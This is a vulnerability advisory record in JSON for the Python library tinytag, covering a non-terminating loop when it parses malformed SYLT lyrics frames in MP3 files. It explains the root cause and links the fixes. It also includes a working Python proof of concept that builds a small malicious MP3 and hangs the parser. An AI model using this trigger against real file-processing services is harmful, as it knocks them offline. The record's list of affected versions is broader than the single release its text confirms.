{"id":"PYSEC-2026-3386","summary":"Denial of service via non-terminating SYLT frame parsing loop in tinytag","details":"### Summary\n\n`tinytag` `2.2.0` allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 `SYLT` (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single `498`-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.\n\n### Details\n\nIn tag `2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`), the reachable call path is:\n\n- `TinyTag.get` in [`tinytag/tinytag.py#L144-L154`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L144-L154)\n- `_load` in [`tinytag/tinytag.py#L259-L266`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L259-L266)\n- `_parse_tag` and `_parse_id3v2` in [`tinytag/tinytag.py#L1059-L1092`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1059-L1092)\n- `_parse_frame` for `SYLT` / `SLT` in [`tinytag/tinytag.py#L1316-L1318`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1316-L1318)\n- `_parse_synced_lyrics` and `_find_string_end_pos` in [`tinytag/tinytag.py#L1219-L1248`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1219-L1248) and [`tinytag/tinytag.py#L1340-L1352`](https://github.com/tinytag/tinytag/blob/6f1d3060f393743c2ec34d07c0855cceed827244/tinytag/tinytag.py#L1340-L1352)\n\nThe root cause is that `_parse_synced_lyrics` assumes `_find_string_end_pos` always returns a position greater than the current `offset`. That assumption is false when no string terminator is present in the remaining frame content.\n\nFor single-byte encodings, `_find_string_end_pos` does:\n\n```python\nreturn content.find(b'\\x00', start_pos) + 1\n```\n\nIf no terminator exists, `content.find(...)` returns `-1`, so the function returns `0`. `_parse_synced_lyrics` then does `offset = end_pos`, which resets `offset` to `0` inside:\n\n```python\nwhile offset \u003c content_length:\n    end_pos = self._find_string_end_pos(content, encoding, offset)\n    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\\n')\n    offset = end_pos\n    time = unpack('\u003eI', content[offset:offset + 4])[0]\n```\n\nBecause `offset` is reset to `0`, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in `_find_string_end_pos` has the same shape: if no `b'\\x00\\x00'` terminator is found, it also returns `0`, so the same non-progress condition applies there.\n\n`SYLT` parsing support was introduced by commit [`4d649b9c314ada8ff8a74e0469e9aadb3acb252a`](https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a) (`ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)`), which first shipped in `2.2.0`. I confirmed that `2.1.2` does not contain `_parse_synced_lyrics`, so `2.2.0` is the only confirmed affected release at this time.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS `26.3` / Darwin `arm64`\n- Python `3.14.3`\n- Confirmed affected release: `tinytag 2.2.0` (`6f1d3060f393743c2ec34d07c0855cceed827244`)\n- Also reproduced on current `main` commit `1d23f6fe169c92c070a265f9108e295577141383`\n\n### PoC\n\nThe following self-contained PoC generates a malformed `SYLT` frame and passes it to `TinyTag.get`:\n\n```python\n#!/usr/bin/env python3\nimport signal\nimport struct\nimport time\nfrom io import BytesIO\n\nfrom tinytag import TinyTag\n\n\ndef create_malicious_mp3() -\u003e bytes:\n    id3_header = b\"ID3\" + bytes([3, 0, 0])  # ID3v2.3\n    encoding = b\"\\x00\"  # ISO-8859-1\n    language = b\"eng\"\n    timestamp_format = b\"\\x02\"\n    content_type = b\"\\x01\"\n    descriptor = b\"test\\x00\"\n    lyrics_data = b\"A\" * 50  # no null terminator in the remaining SYLT payload\n    frame_content = (\n        encoding + language + timestamp_format + content_type + descriptor + lyrics_data\n    )\n    frame = b\"SYLT\" + struct.pack(\"\u003eI\", len(frame_content)) + b\"\\x00\\x00\" + frame_content\n\n    tag_size = len(frame)\n    synchsafe = bytearray(4)\n    n = tag_size\n    for i in range(3, -1, -1):\n        synchsafe[i] = n & 0x7F\n        n \u003e\u003e= 7\n\n    return (\n        id3_header\n        + bytes(synchsafe)\n        + frame\n        + b\"\\xff\\xfb\\x90\\x00\"\n        + b\"\\x00\" * 413\n    )\n\n\ndef timeout_handler(signum, frame) -\u003e None:\n    print(\"CONFIRMED: parsing did not finish within 10.0s; external interruption was required\")\n    raise SystemExit(1)\n\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(10)\nstart = time.time()\n\ntry:\n    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename=\"poc.mp3\")\n    signal.alarm(0)\n    print(f\"Unexpectedly completed in {time.time() - start:.3f}s\")\nexcept SystemExit:\n    raise\nexcept Exception as exc:\n    signal.alarm(0)\n    print(f\"Unexpected exception before timeout: {type(exc).__name__}: {exc}\")\n```\n\nObserved output on `2.2.0` in the environment above:\n\n```text\nCONFIRMED: parsing did not finish within 10.0s; external interruption was required\n```\n\n### Impact\n\nAn attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.\n\nIn server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.\n\n### Patches\n\nFixed in the following commits:\n\n- https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402\n- https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a","aliases":["CVE-2026-32889","GHSA-f4rq-2259-hv29"],"modified":"2026-07-13T16:32:47.106042523Z","published":"2026-07-13T14:36:43.859722Z","references":[{"type":"WEB","url":"https://github.com/tinytag/tinytag/security/advisories/GHSA-f4rq-2259-hv29"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32889"},{"type":"WEB","url":"https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a"},{"type":"WEB","url":"https://github.com/tinytag/tinytag/commit/4d649b9c314ada8ff8a74e0469e9aadb3acb252a"},{"type":"WEB","url":"https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402"},{"type":"PACKAGE","url":"https://github.com/tinytag/tinytag"},{"type":"PACKAGE","url":"https://pypi.org/project/tinytag"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f4rq-2259-hv29"}],"affected":[{"package":{"name":"tinytag","ecosystem":"PyPI","purl":"pkg:pypi/tinytag"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.1"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.12.0","0.13.1","0.14.0","0.14.1","0.14.2","0.15.0","0.15.2","0.16.0","0.17.0","0.18.0","0.20.0","0.6.0","0.6.1","0.7.1","0.7.2","0.8.0","0.8.1","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.0.1","1.1.0","1.10.0","1.10.1","1.2.0","1.2.1","1.2.2","1.3.1","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","2.0.0","2.1.0","2.1.1","2.1.2","2.2.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/tinytag/PYSEC-2026-3386.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}]}